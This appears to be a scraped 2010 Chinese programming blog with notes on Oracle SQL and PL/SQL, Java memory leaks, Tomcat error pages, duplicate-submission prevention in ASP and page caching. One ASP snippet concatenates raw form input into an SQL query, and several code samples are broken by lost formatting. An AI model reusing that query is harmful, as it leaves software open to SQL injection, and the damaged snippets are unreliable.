Trunc(SYSDATE, 'MONTH') First_Day_Cur_Month,
LAST_DAY(Trunc(SYSDATE, 'MONTH')) + 1 - 1 / 86400 Last_Day_Cur_Month
FROM dual;

转换函数

4.1、asciistr(str)
说明:将任意字符集的字符串转换为当前数据库实例对应的ascii字符串。

SELECT asciistr('中华民族') FROM dual;

备注:和该函数相似的有ascii,它是取得字符串第一个字符的ascii码,后面的字符不管;chr是将ascii码转换为对应的字符。

4.2、cast()
说明:将一个内置数据类型或集合类型转变为另一个内置数据类型或集合类型。

SELECT CAST(SYSDATE AS VARCHAR2(100)) FROM dual;

4.3、chartorowid(str)
说明:将字符串转变为rowid数据类型,但字符串必须符合rowid格式。

4.4、convert(str,char_set,source_char_set)
说明:将字符串从一个字符集转变为另一个字符集。Str为要转变的字符串,char_set为转变后的字符集,source_char_set为该字符串原始的字符集。

SELECT convert('中国','US7ASCII','ZHS16GBK') FROM dual;

4.4、rowidtochar(rowid)
说明:将rowid转换为对应的varchar2数据类型值。

4.5、to_char()
select to_char(n’中国’) from dual; 转变为本地字符集类型

select to_char(10000,’L99G999D99MI’) from dual; 转换成货币格式

4.6、to_date()
转变为日期格式。

4.7、to_number()
将字符串转变为数字值,但字符串必须是数字(0~9)。

单行函数

decode(exer.search1,result1[search2,result2,...][,defalut])
用于匹配特定表达式的结果,如果search1匹配于exer,则返回result1,如果search2匹配于exer则返回result2,
依次类推,如果没有任何匹配关系则返回defalut

分组函数


6.1AVG 取平均值
Select AVG(SAL) From EMP

6.2max 取最大值
select max(sal) from emp

6.3min 取最小值
select min(sal) from emp

6.4count 取记录数
SELECT COUNT(*) FROM EMP
也可以
select count(empno) from emp
注意:
要么count(*)
要么count(没有null值的列---主键)

 

6.5sum 求和
Select SUM(SAL*12) From EMP

应用:

1.分组函数和distinct关键词的搭配
Select COUNT(Distinct SAL) From EMP

 

2.组函数与空值
select count(comm) from emp
空值不参与运算,直接被过滤掉

 

3.分组数据
group by子句
SELECT COUNT(*) FROM EMP GROUP BY DEPTNO

4.使用group by规则
A.group by后面的字段不必显示在select列表中
B.反之则不行
也就是说:select后面的字段必须在group by子句中出现
例外的是:
在组函数(count,max,min等)中出现的字段除外

5.关于group by条件分组的问题
A.group by可以和where来搭配
where只能在group by的前面
Select JOB From EMP Where SAL>2000 Group By JOB
group by后面不能有where

B.where子句中不能包括组函数
条件的表达只能使用having来表示
Select DEPTNO,Max(SAL),Min(SAL) From EMP Group By DEPTNO Having Max(SAL)>2000

对象函数

posted @ 2010-07-28 18:22 junly 阅读(767) | 评论 (0)编辑 收藏
--1定义标量变量
--
(1)定义语法
变量名 [constant] 数据类型 [not null] [:= | default expr]
-- constant:用于指定常量。必须指定初始值
--
 := 用于为变量和常量指定初始值
--
 expr初始值的pl/sql表达式,可以是文本值、变量、函数等
--
示例1:
v_name varchar2(10);
v_rate constant 
number(3,2) := 5.5;
v_valid boolean 
not null default false;
--(2)使用
--
变量赋值使用等号前加冒号(:=)
--
示例2:
declare
v_name 
varchar2(10);
v_money 
number(6,2);
c_tax_rate constant 
number(3,2) := -0.03;
v_tax_money 
number(6,2);
begin
 
select user_name,game_money into v_name,v_money 
 
from user_info where user_id = 100000;
 v_tax_money :
= v_money*c_tax_rate;
 dbms_output.put_line(
'name:'||v_name);
 dbms_output.put_line(
'money:'||v_money);
 dbms_output.put_line(
'rate:'||v_tax_money);
end
--(3)使用%TYPE属性
v_name user_info.user_name%TYPE;
v_money user_info.game_money
%TYPE;
c_tax_rate constant 
number(3,2) := -0.03;
v_tax_money v_money
%TYPE;
--变量v_name,v_money与user_info表的user_name,game_money列的类型和长度完全一致
--
变量v_tax_money与变是v_money的类型和长度完全一致

--2复合变量
--
(1)pl/sql记录(类似于结构)
--
 在定义部分定义记录类型和记录变量,在执行部分引用该记录变量
--
 引用记录成员时必须要加记录变量作为前缀(记录变量。记录成员)
--
示例3:
declare
TYPE record_type 
IS RECORD(
  v_name user_info.
user_name%TYPE,
  v_money user_info.game_money
%TYPE
);
emp_record record_type;
begin
 
select user_name,game_money into emp_record 
 
from user_info where user_id = 100000;
 dbms_output.put_line(
'name:'||emp_record.v_name);
 dbms_output.put_line(
'money:'||emp_record.v_money);
end
--(2)pl/sql表(类似于数组)
--
 pl/sql表与数组区别:下标没有上下限,个数年没有限制,下票可以为负值
--
 必须先在定义部分定义pl/sql表类型和pl/sql表变量,在执行部分引用该pl/sql表变量
--
示例4:
declare
TYPE name_table_type 
IS TABLE OF user_info.user_name%TYPE 
  
INDEX BY BINARY_INTEGER;
v_name name_table_type;
begin
 
select user_name into v_name(-1
 
from user_info where user_id = 100000;
 dbms_output.put_line(
'name:'||v_name(-1));
end
--(3)嵌套表
--
(4)VARRAY(变长数组)

--3 参照变量
--
 用于存放数值指针的变量。
--
(1)游标变量(REF CURSOR)
--
 静态游标:需要在定义游标时指定相应的select语句
--
 示例5:
declare
  type c1 
is ref cursor;--c1为ref cursor类型
  emp_cursor c1;--emp_cursor为游标变量
  v_name user_info.user_name%TYPE;
  v_money user_info.game_money
%TYPE;
begin
  
open emp_cursor for --打开游标变量时指定了对应的select语句
  select user_name,game_money from user_info where  user_id = 100000;
  loop
    
fetch emp_cursor into v_name,v_money;
    
exit when emp_cursor%notfound;
    dbms_output.put_line(v_name);
  
end loop;
end;
-- 动态游标:在定义游标变量时不要需指定相应的select语句,而是打开游标时指定select语句
--
(2)对象类型变量(REF obj_type)
--
 是指向对象实例的指针
--
 示例6:
create or replace type home_type as object(--建立对象类型
  street varchar2(50),city varchar2(20),
  state 
varchar2(20),zipcode varchar2(6),
  owner 
varchar2(10)
);
create table homes of home_type;--建表
insert into homes values('上海路100号','上海','200000','junly');
commit;
--对象表homes存放家庭地址及户主姓名,如每个家庭有四口人,为了同一家庭成员共享家庭地址,
--
可使用REF引用home_type对象类型,从而降低占用空间。
create table person(
  id 
number(6primary key,
  name 
varchar2(10),
  addr ref home_type
);
insert into person select 1,'junly',ref(p) from homes p where p.owner='junly'
insert into person select 2,'junl2',ref(p) from homes p where p.owner='junly'
--person表插入数据时,addr列将存入指向homes表相应数据的地址指针

--4 LOB变量
/*用于存储大批量数据的变量
(1)内部LOB
 CLOB    支技事务操作   存储数据库中   用于存储大批量字符数据
 BLOB    支技事务操作   存储数据库中   用于存储大批量二进制数据
 NCLOB   支技事务操作   存储数据库中   用于存储大批量字符数据
(2)外部LOB
 BFILE   不支技事务     存在OS文件中   存储指向OS文件的指针
*/


--5非PL/SQL变量
posted @ 2010-07-28 12:01 junly 阅读(1099) | 评论 (0)编辑 收藏
1

table:citys
city       ran

广州     A
广州     B
广州     C
广州     D

city        ran

广州     A,B,C,D

请问oracle  的sql语句要怎么写?

select city,wmsys.wm_concat(ran)
from citys
group by city


2 备忘

insert into emp (id,name,sex,tim) --dual
values(id_seq.nextval,'junly',default,to_date('2010-5-11 11:25:00','yyyy-mm-dd hh24:mi:ss'))


3 直接装载

--直接装载方式
insert /*+append*/ into emp (field1,field2,field3)
select f1,f2,f3 from tep
where f4=20;


4 更新

--更新
update emp set (field1,field2,field3)=(
select f1,f2,f3 from tep where f4=20)
where field4=100;

5 取消重复
select count(distinct user_nameas num
from user_info

6 group by + rollup 横向小计
-- group by + rollup 横向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by rollup (num1)

7 group by + cube  纵向小计
-- group by + cube  纵向小计
select num1,sum(num2),sum(num3) from tmp_tb
group by cube(num1)

8 自连接
-- 自连接
/* user_info
id    name    pid
-------------------
7888  king    
7889  blank   7888
7900  jones   7888
*/

select manager.name from user_info manager,user_info worker
where manager.id=worker.pid
and worker.name='jones';
----------
king

9 ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
--ALL和ANY(不能单独使用,与单行比较符[=,>,<,>=,<=,<>]结合使用)
/*
ALL 必须要符合子查询结果的所有值
ANY 只要符合子查询结果的任一个值即可
*/

select user_name,money from user_info where money >all(
select money form user_game where id=10);
select user_name,money from user_info where money >any(
select money form user_game where id>10);

10 合并查询
--(1)union 取两个结果集的并集,自动去掉重复行并以第一列的结果排序
--
(2)union all 取两个结果集的并集,不去重复行也不进行排序
--
(3)intersect 取两个结果集的交集
--
(4)minus 取两个结果集的差集
select uname,sal from emp where sal>200
union 
select uname,sal from emp where job='aaa'

11 case条件分支
select name,case when money>3000 then 3
when money>2000 then 2 when money>1000 then 1 end
from user_info where user_id=10000;

12 with子名重用子查询
--with子名重用子查询
with summary as (
select name,sum(moneyas total from user_info
group by name
)
select name,total from summary 
where total>3000;

13 connect by (感谢广州Nicholas兄)
select sysdate - rownum rn from dual connect by rownum<100
--
select to_number(to_char(rn,'yyyymmdd'))rn from(select sysdate - rownum rn 
from dual connect by rownum<(
select floor(sysdate-regist_time)from sales_info where user_id=15587657))
--月份
select to_number(to_char(rn,'yyyymm'))rn from(
select add_months(sysdate,-rownum) rn 
from dual connect by rownum<(
select floor(months_between(sysdate,regist_time)) from sales_info where user_id=15587657))

14 批理修改
merge into sales_info s 
using tb_rd_user_info u
on (s.user_id=u.user_id)
when matched then
update
set s.user_name=u.user_name;
commit;

15 删除重复记录
delete from user where rowid in (
select max(rowid) from user group by userName having count(userName)>1)
posted @ 2010-07-28 09:46 junly 阅读(374) | 评论 (0)编辑 收藏
--例1
declare
v_name 
varchar2(10);
begin 
 
select user_name into v_name from tb_rd_user_info where user_name='ywj12';
 dbms_output.put_line(
'name:'||v_name);
exception
 
when no_data_found then
 dbms_output.put_line(
'error name');
end;

--匿名块
--
  没有名称的pl/sql块,如例1
--
命名块
--
子程序
--
  (1)过程
--
     建立过程时可以指定输入参数(in),输出参数(out)
create or replace procedure update_money(uname varchar2,num number)
is
begin
update tb_rd_user_info set game_money = num 
where user_name = uname;
end update_money;
--     删除
drop   procedure   update_money;
--     调用
exec update_money('ywj123',100000);
call update_money(
'ywj123',100000);
--     重新编译
alter procedure update_money compile;
--     授权student用户使用该过程
grant execute on update_money to student;  
--  (2)函数
--
     创建
create or replace function get_user_id(uname varchar2)
return number is
  uid 
number;
begin
 
select user_id into uid from tb_rd_user_info 
 
where user_name=uname;
 
return uid;
end;
--     调用
var rs number
call get_user_id(
'ywj123'into :rs;
--     删除
drop function get_user_id;
--     重新编译
alter function get_user_id compile;
--  (3)包
--
     创建(包由包规范和包体两部分组成)
--
       包规范
create package emp_pkg is
  
procedure update_money (uname varchar2,num number);
  
function get_user_id(uname varchar2return number;
end;
--       包体
create package body emp_pkg is
  
procedure update_money(uname varchar2,num number)
  
is
  
begin
    
update tb_rd_user_info set game_money = num 
    
where user_name = uname;
  
end update_money;
  
  
function get_user_id(uname varchar2)
  
return number is
    uid 
number;
  
begin
    
select user_id into uid from tb_rd_user_info 
    
where user_name=uname;
    
return uid;
  
end;
end;
--     调用
call emp_pkg.update_money('ywj123',100000);
var rs number
call emp_pkg.get_user_id(
'ywj123'into :rs;

--解发器

存储过程参数传递

参数的作用是向存储过程传递数据,或从存储过程获得返回结果。正确的使用参数可以大大增加存储过程的灵活性和通用性。
参数的类型有三种,如下所示。

参数的定义形式和作用如下:
参数名 IN 数据类型 DEFAULT 值;
定义一个输入参数变量,用于传递参数给存储过程。在调用存储过程时,主程序的实际参数可以是常量、有值变量或表达式等。DEFAULT 关键字为可选项,用来设定参数的默认值。如果在调用存储过程时不指明参数,则参数变量取默认值。在存储过程中,输入变量接收主程序传递的值,但不能对其进行赋值。
参数名 OUT 数据类型;
定义一个输出参数变量,用于从存储过程获取数据,即变量从存储过程中返回值给主程序。
在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。在存储过程中,参数变量只能被赋值而不能将其用于赋值,在存储过程中必须给输出变量至少赋值一次。
参数名 IN OUT 数据类型 DEFAULT 值;
定义一个输入、输出参数变量,兼有以上两者的功能。在调用存储过程时,主程序的实际参数只能是一个变量,而不能是常量或表达式。DEFAULT 关键字为可选项,用来设定参数的默认值。在存储过程中,变量接收主程序传递的值,同时可以参加赋值运算,也可以对其进行赋值。在存储过程中必须给变量至少赋值一次。
如果省略IN、OUT或IN OUT,则默认模式是IN。 
CREATE OR REPLACE PROCEDURE CHANGE_SALARY(P_EMPNO IN NUMBER DEFAULT 7788,P_RAISE NUMBER DEFAULT 10)
        
AS
         V_ENAME 
VARCHAR2(10);
V_SAL 
NUMBER(5);
        
BEGIN
         
SELECT ENAME,SAL INTO V_ENAME,V_SAL FROM EMP WHERE EMPNO=P_EMPNO;
         
UPDATE EMP SET SAL=SAL+P_RAISE WHERE EMPNO=P_EMPNO;
         DBMS_OUTPUT.PUT_LINE(
'雇员'||V_ENAME||'的工资被改为'||TO_CHAR(V_SAL+P_RAISE));
COMMIT;
        EXCEPTION
         
WHEN OTHERS THEN
         DBMS_OUTPUT.PUT_LINE(
'发生错误,修改失败!');
         
ROLLBACK;
        
END;
参数的值由调用者传递,传递的参数的个数、类型和顺序应该和定义的一致。如果顺序不一致,可以采用以下调用方法。如上例,执行语句可以改为:
 EXECUTE CHANGE_SALARY(P_RAISE=>80,P_EMPNO=>7788);
  可以看出传递参数的顺序发生了变化,并且明确指出了参数名和要传递的值,=>运算符左侧是参数名,右侧是参数表达式,这种赋值方法的意义较清楚。
posted @ 2010-07-26 18:20 junly 阅读(727) | 评论 (0)编辑 收藏
最近一直被内存溢出捆扰,现在对这几天的工作做个小小的总结!另外给首次与到此类问题的小鸟们作个提示,希望大家早日变成老鸟!

1 首先确认是不是内存溢出,如果直接报OutOfMemoryException,那肯定是内存溢出,有时可能没有发现这个错误,但WEB服务到最后还是挂了,也有可能是由Memory Out,如何确认,最好的办法就是查看gc日志。

2 如果确认是内存溢出,不要急着跟踪,因为要找到确切位置还是有一定困难的,个人建议对最近修改的代码作一次全面检查,对于有可能出现内存溢出的地方作些修改。
可能出现的原因:
(1) 递归、循环,这里要注意隐性的地笔,如拦载器,我自已遇到一次拦载器的死循环
(2) static 的对象,查看static里面是不是有大量的对象塞进去
(3)Set/List/Map对象,查看Set/List/Map里面是不是有对象用完了没有释放
(4)session/application,查看session里的对象、过期时间等,看是不是无法即时释放
(5)ClassLoader,Java ClassLoader结构的使用为内存泄漏提供了许多可乘之机。这个我不知道深层原因,有知道的可以告诉我,将不胜感谢!
(6)String,字符串累加也容易出现溢出。一般顺序StringBuilder,StringBuffer,String。
(7)全局变量,尽量不使用,使用了即时释放
修改后再查看日志,也许问题已经解决了。

3 如果还是有溢出就只能上工具了,我使用的是JProfiler,功能很强大,首先我在window上远程监控linux,结果失败,原因是因为JProfiler本身就有很大的消耗,而且在测试中还要不断gc,影响生产,所以选用在测试环境中配合jmeter测试。

4 测试方法:循环测试,查看gc后是否有对象数量不断增加,即有对象未释放。

5 其此是要了解java内存分配原理和gc的工作原理,这样才可以定位到问题的具体位置。

6 对jvm进行优化。




具体操作未详细说明,可以参考相关资料

java内存泄漏原因 http://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak/

gc原理http://chenchendefeng.javaeye.com/blog/455883

jvm优化http://www.cjsdn.net/post/view?bid=1&id=197954

JVM调优-解决native heap持续增长 http://sw1982.javaeye.com/blog/724626 荐



posted @ 2010-07-22 11:11 junly 阅读(2184) | 评论 (1)编辑 收藏

在开始动手之前,我一般习惯整体盘算一遍,这样感觉下起手来,比较顺. 只是有时盘算的过于细致,往往会被某个小细节拖住步子. 所以这个时候,老大总会叫我move on,先把架子搭起来,如果什么都考虑,那么永远也无法前进.
做了一些东西之后,真的发现这个理想中成立实际中困难的理论. 设想,最好把目光放在方向上.
       先感叹一下.

       404错误页出现这个问题,我在web.xml定义了如下的定义,
    <error-page>
    <error-code>404</error-code>
    <location>/error_404.htm</location>
  </error-page>
    路径的是对的,奇怪的是我测试时输入一个不存在的页,出现404错误提示出现的却不是我所定义的页面,这就怪了.我记得在weblogic中我也是这样定义的,所以我首先想到的时服务器的问题. 只是这种问题,不要分析,我试着在javaworld发了一贴,问了一下. 二楼给了一个链接, 我进去才发现这个问题已经有很多人在讨论了.这是实际出问题,要是一直照着课本,应该不会想到这些问题,只是自己实际操作的才发现这些.

通看了所有的帖子,出现这种问题,主要有以下几个因素:
1.使用 tomcat 服务器
2.tomcat服务器版本
3.浏览器问题
4.IE的设置
5.错误页本身的大小

第一点,我想我的经历应该可以算个证明.

第二点.很多人用tomcat5.5可以顺利的找到错误页

第三点.换了一下FF,可以顺利找到指定的错误页

第四点.我设置了 工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,可以顺利定向到指定错误页,
           说明可以

第五点,我试着发狠输了一大堆东西进去, 指定错误页顺利出现了.


下面是提供的解决方法:

1.升级tomcat (换成其它服务器,代价沉重)
2.ie 设定   工具-->Internet选项-->高级--->显示http友好错误信息(取消选择) ,
3. 把错误页做大一点,具体几个字节,没测试,估计三四百足够了, (加一个div块,display设为none就可以了)
4.设置指定错误页页状态为正确,骗过IE的自定义错误页 方法
<%
    response.setStatus(200); // 200 = HttpServletResponse.SC_OK
%>

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/leniz/archive/2006/01/18/582765.aspx

感谢这位仁兄
posted @ 2010-06-24 10:19 junly 阅读(3499) | 评论 (0)编辑 收藏

当用户从表单处完成递交,如无问题已将注册信息写入数据库,但有问题的是,如何防止用户刷新页面,这相当于将原有的信息再次写入数据库,在网络上寻找解决方法,试用后将本人认为最管用的方法记下。

网络中给出如下解决方式:

第一种:禁用提交按钮

当用户提交表单后,使用JAVASCRIPT脚本语言,将提交钮禁用。

分析:如客户端没有开启脚本功能就出现问题;这也仅是在表单处理前有用,防止用户多次点击提交钮;现在很多网站都启用验证码解决此问题了。

第二种:使用 Session

在第一次写入数据库代码后,将Session标记;在数据库代码前判断Session是否曾经标记过并与刚才的标记是否相等。

代码:

Session("User") = True

   Response.write "您刚才已经注册过了……"
Else

   ...... '省略写入数据库部分

   Session("User") = True

End if

分析:比较管用的;但Session默认时效为20分钟,虽然可以设置时效长度,但由于网站服务器设置不同,也许达不到理想效果。

第三种:重新定向

注册完毕后直接将网页重新定向到其他页面。

代码:Response.Redirect "Index.html"

分析:使用此方法,需要配合客户端脚本清除历史(history)才行,没有试用,因为用户可以使用后退按钮,继续刷新。

第四种:禁止缓存

在写入数据一页最下边添加下面的代码,然后导向新页,可以使用户点击后退按钮后,页面提示网页过期。

代码:

ASP:
Response.Buffer = True   
Response.ExpiresAbsolute = Now() - 1   
Response.Expires = 0   
Response.CacheControl = "no-cache"

ASP.NET:
Response.Buffer=true;
Response.ExpiresAbsolute=DateTime.Now.AddSeconds(-1);
Response.Expires=0;
Response.CacheControl="no-cache";

分析:试用后,发现一个问题,虽然表面看到网页过期字样,但在过期网页上刷新,仍可以再次刷新多次注册。

第五种:用弹出窗口

提交表单的时候弹出新窗口(在新窗口页面完成数据库的写入),关闭本窗口。对于window.open()打开的窗口是无法用后退按钮的。

第六种:调数据库进行对比

这一种是得不偿失的方法,因为会加重服务器的负担,如果在表单没有进行AJAX方式的验证,这也算是一种必要的方法。

代码:(假设已连接数据库)

Dim Rs,SQL,UserId

UserId = Request("Userid") '从表单从取数据内容

If UserId <> "" then '不为空的时候
Set Rs=Server.CreateObject("Adodb.Recordset")
   SQL = "Select Userid From 表 Where Userid='"& UserId &"'"
   Rs.Open Sql, Conn, 2, 2
  
If Rs.Eof And Rs.Bof Then
   Response.Write "没有相同数据!"
Else
   Response.Write "有相同数据!"
End If

   Rs.Close
   Set Rs = Nothing
   Response.End
End If

 

经过测试,如果不想太费事,直接用第六种方法,用户刷一次就对数据库检索一次,这种方式最大的弊端就是有可能把服务器累死;

由于,我采用了第二种方法,结合了第四种(效果不大),在代码最前端加入了验证由何处来本站的函数,这样可以防止用户自己在本机模仿网站表单提交数据(hi.baidu.com/76512/blog/item/b8d9be8f168d3aedf01f3680.html),也可以防止用户在本站直接在网址末端加变量值刷新数据。

由于在表单处已加入随机验证码,并已写入Session中,在处理数据前,可以先检测Session是否为空,空为已提交过了,不为空是第一次提交,在第一次提交后将该Session清空。

代码:

If Session("RndNum") = ""
   Response.Write "已提交过数据了呀!"
Else

...... '省略写入数据库代码

   Session("RndNum") = ""
End if

分析:只要是从正常的途径递交的表单,Session("RndNum")的数值不会为空的,从非正常途径(比如说,直接打开网址,或在本机模拟表单递交,或在网址后添加变量值,是无法写入数据库的。Session默认的20分钟,清空后仍然符合逻辑。也不怕用户打开几个注册页面,来回刷新注册。




禁用页面缓存的几种方法(静态和动态)
1、在Asp页面首部<head>加入   
以下是引用片段:
  Response.Buffer   =   True   
  Response.ExpiresAbsolute   =   Now()   -   1   
  Response.Expires   =   0   
  Response.CacheControl   =   "no-cache"   
  Response.AddHeader   "Pragma",   "No-Cache"  

  2、在HtML代码中加入   
以下是引用片段:
  <HEAD>   
  <META   HTTP-EQUIV="Pragma"   CONTENT="no-cache">   
  <META   HTTP-EQUIV="Cache-Control"   CONTENT="no-cache">   
  <META   HTTP-EQUIV="Expires"   CONTENT="0">   
  </HEAD>  
 
    
  3、在重新调用原页面的时候在给页面传一个参数   Href="****.asp?random()" 

  前两个方法据说有时会失效,而第三种则是在跳转时传一个随机的参数! 因为aspx的缓存是与参数相关的,如果参数不同就不会使用缓存,而会重新生成页面,每次都传一个随机的参数就可以避免使用缓存。这个仅适用于asp&asp.net

  4、在jsp页面中可使用如下代码实现无缓存:

以下是引用片段:
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server

  这些代码加在<head> </head>中间具体如下

以下是引用片段:
<head>
<%
response.setHeader("Cache-Control","no-cache"); //HTTP 1.1
response.setHeader("Pragma","no-cache"); //HTTP 1.0
response.setDateHeader ("Expires", 0); //prevents caching at the proxy server
%>
</head>

  5、window.location.replace("WebForm1.aspx");  
  参数就是你要覆盖的页面,replace的原理就是用当前页面替换掉replace参数指定的页面。   
这样可以防止用户点击back键。使用的是javascript脚本,举例如下:

  a.html

以下是引用片段:
<html>
    <head>
        <title>a</title>     
        <script language="javascript">
            function jump(){
                window.location.replace("b.html");
            }
        </script>
    </head>
    <body>
       <a href="javascript:jump()">b</a>
   </body>
</html>  

  b.html

以下是引用片段:
<html>
    <head>
        <title>b</title>     
        <script language="javascript">
            function jump(){
                window.location.replace("a.html");
            }
        </script>
    </head>
    <body>
       <a href="javascript:jump()">a</a>
   </body>
</html>  

  前4种只是清空了cache,即存储在Temporary Internet Files文件夹中的临时文件,而第五种则是使用跳转页面文件替换当前页面文件,并没有清空cache,也就是说Temporary Internet Files产生了相关的临时文件,两者搭配使用真是清空缓存,必备良药。


 

posted @ 2010-06-21 17:33 junly 阅读(2642) | 评论 (1)编辑 收藏
request.getRequestURI() /jqueryWeb/resources/request.jsp
request.getRequestURL() http://localhost:8080/jqueryWeb/resources/request.jsp
request.getContextPath()/jqueryWeb
request.getServletPath()/resources/request.jsp


注: resources为WebContext下的目录名
jqueryWeb 为工程名

-----------------------------------------------------
<%=request.getRequestURI() %><br/>
<%=request.getRequestURL() %><br/>
<%=request.getContextPath()%><br/>
<%=request.getServletPath() %><br/>
<%=request.getPathInfo() %><br/>
结果:
/test-struts.jsp
http://127.0.0.1:8080/test-struts.jsp

/test-struts.jsp
null

配置:
<action name="test" class="testStrutsAction" method="test"> 
   <result>/test-struts.jsp</result>
</action>

posted @ 2010-06-09 20:31 junly 阅读(2209) | 评论 (0)编辑 收藏
13:35:42,129  INFO EncryptLocalSessionFactoryBean:742 - Building new Hibernate SessionFactory
13:35:42,145  INFO XmlConfigurationProvider:380 - Unable to verify action class [faqAction] exists at initialization
13:35:42,254  INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\bull\BullInfo.hbm.xml
13:35:42,442  INFO HbmBinder:322 - Mapping class: com.c6.orm.model.bull.BullInfo -> TB_BULL_INFO
13:35:42,442  INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\CardInfo.hbm.xml
13:35:42,457  INFO HbmBinder:322 - Mapping class: com.c6.orm.model.coin.CardInfo -> TB_CARD_INFO
13:35:42,473  INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\Payment.hbm.xml
13:35:42,489  INFO HbmBinder:322 - Mapping class: com.c6.orm.model.coin.Payment -> TB_PAYMENT
13:35:42,489  INFO Configuration:332 - Reading mappings from file: D:\opt\ASF\Tomcat6.0\webapps\cityunion\WEB-INF\classes\com\c6\orm\model\coin\TbBankExchangeLog.hbm.xml
。。。。。。。。。。。。

描述:提示信息Unable to verify action class  exists at initialization
            不停的加载.hbm.xml文件,导致tomcat无法启动。
被提示信息误导,在网上找了大量资料,都没有解决。原来由于自已不小心写错了配置文件
<property name="slaveSelfTotal" type="int" column="SLAVE_SELF_TOTAL"/>
<property name="slaveSelfTotal" type="int" column="SLAVE_SELF_TOTAL"/>
写了两次。
出现些问题大多是因为配置文件出错而引起的,仔细查看最近修改的置配文件就找到问题了
posted @ 2010-05-27 13:49 junly 阅读(1799) | 评论 (0)编辑 收藏
     摘要: 获取一组radio被选中项的值 var item = $('input[@name=items][@checked]').val(); 获取select被选中项的文本 var item = $("select[@name=items] option[@selected]").text(); select下拉框的第二个元素为当前选中值 $('#select_id')[0].selected...  阅读全文
posted @ 2010-05-11 09:31 junly 阅读(22166) | 评论 (2)编辑 收藏

 

1、 java命令和 javaw命令是怎么回事?

我现在的理解:

java命令在执行一个class文件的时候,

1)首先要创建一个虚拟机实例

2)虚拟机启动用户主线程 main()方法,这是非守护线程

3)虚拟机(也可能是主线程)启动守护线程。比如垃圾收集线程。

4main()方法结束,并且由main()方法创建的用户线程也结束。也就是说系统中没有用户线程存在了,则守护线程也结束,最后虚拟机实例自动销毁。

javaw命令在eclipse启动后,也是代表了一个虚拟机实例。它一直存在应该是因为系统中有用户线程一直在后台运行。

eclipse被关闭是,应该是调用了systemexist()方法,即虚拟机实例强行销毁。

当用户自己编写的class文件在eclipse中执行时,由javaw这个虚拟机实例解释执行。

2、 下面是网上资料总结如下:

Java有两种Thread:“守护线程Daemon”与“用户线程User”。

从字面上我们很容易将守护线程理解成是由虚拟机(virtual machine)在内部创建的,而用户线程则是自己所创建的。事实并不是这样,任何线程都可以是“守护线程Daemon”或“用户线程User”。他们在几乎每个方面都是相同的,唯一的区别是判断虚拟机何时离开:

用户线程:Java虚拟机在它所有非守护线程已经离开后自动离开。

守护线程:守护线程则是用来服务用户线程的,如果没有其他用户线程在运行,那么就没有可服务对象,也就没有理由继续下去。

setDaemon(boolean on)方法可以方便的设置线程的Daemon模式,true为Daemon模式,false为User模式。setDaemon(boolean on)方法必须在线程启动之前调用,当线程正在运行时调用会产生异常。isDaemon方法将测试该线程是否为守护线程。值得一提的是,当你在一个守护线程中产生了其他线程,那么这些新产生的线程不用设置Daemon属性,都将是守护线程,用户线程同样。

下面是演示程序:

----------------------------------------------------------------

import java.io.IOException;

/**

 * 守护线程在没有用户线程可服务时自动离开

 */

public class TestMain4 extends Thread {

   

    public TestMain4() {

    }

    public void run() {

        for(int i = 1; i <= 50; i++){

            try {

                Thread.sleep(100);

            } catch (InterruptedException ex) {

                ex.printStackTrace();

            }

            System.out.println(i);

        }

    }

   

    public static void main(String [] args){

        TestMain4 test = new TestMain4();

        test.setDaemon(false);

        test.start();

        System.out.println("isDaemon = " + test.isDaemon());

        try {

            System.in.read(); // 接受输入,使程序在此停顿,一旦接收到用户输入,main线程结束,守护线程自动结束,如果test不是守护进程必须等到test运行完了以后才退出

        } catch (Exception ex) {

            ex.printStackTrace();

        }

    }

}

----------------------------------------------------------------------------------

例:我们所熟悉的Java垃圾回收线程就是一个典型的守护线程,当我们的程序中不再有任何运行中的Thread,程序就不会再产生垃圾,垃圾回收器也就无事可做,所以当垃圾回收线程是Java虚拟机上仅剩的线程时,Java虚拟机会自动离开。

 

3、下面是一个论坛的帖子

 

http://topic.csdn.net/t/20060115/00/4517316.html

 

守护线程与普通线程的唯一区别是:当JVM中所有的线程都是守护线程的时候,JVM就可以退出了;如果还有一个或以上的非守护线程则不会退出。(以上是针对正常退出,调用System.exit则必定会退出)  
    
所以setDeamon(true)的唯一意义就是告诉JVM不需要等待它退出,让JVM喜欢什么退出就退出吧,不用管它。

posted @ 2010-04-25 00:06 junly 阅读(589) | 评论 (0)编辑 收藏

其他参考:
1 http://gzcj.javaeye.com/blog/394648
2 http://blog.sina.com.cn/s/blog_5f1fe33f0100d9ak.html


类加载器
是 Java 语言流行的重要原因之一。它使得 Java 类可以被动态加载到 Java 虚拟机中并执行。类加载器从 JDK 1.0 就出现了,最初是为了满足 Java Applet 的需要而开发出来的。Java Applet 需要从远程下载 Java 类文件到浏览器中并执行。现在类加载器在 Web 容器和 OSGi 中得到了广泛的使用。一般来说,Java 应用的开发人员不需要直接同类加载器进行交互。Java 虚拟机默认的行为就已经足够满足大多数情况的需求了。不过如果遇到了需要与类加载器进行交互的情况,而对类加载器的机制又不是很了解的话,就很容易花大量的时间去调试 ClassNotFoundExceptionNoClassDefFoundError 等异常。本文将详细介绍 Java 的类加载器,帮助读者深刻理解 Java 语言中的这个重要概念。下面首先介绍一些相关的基本概念。

 

类加载器基本概念

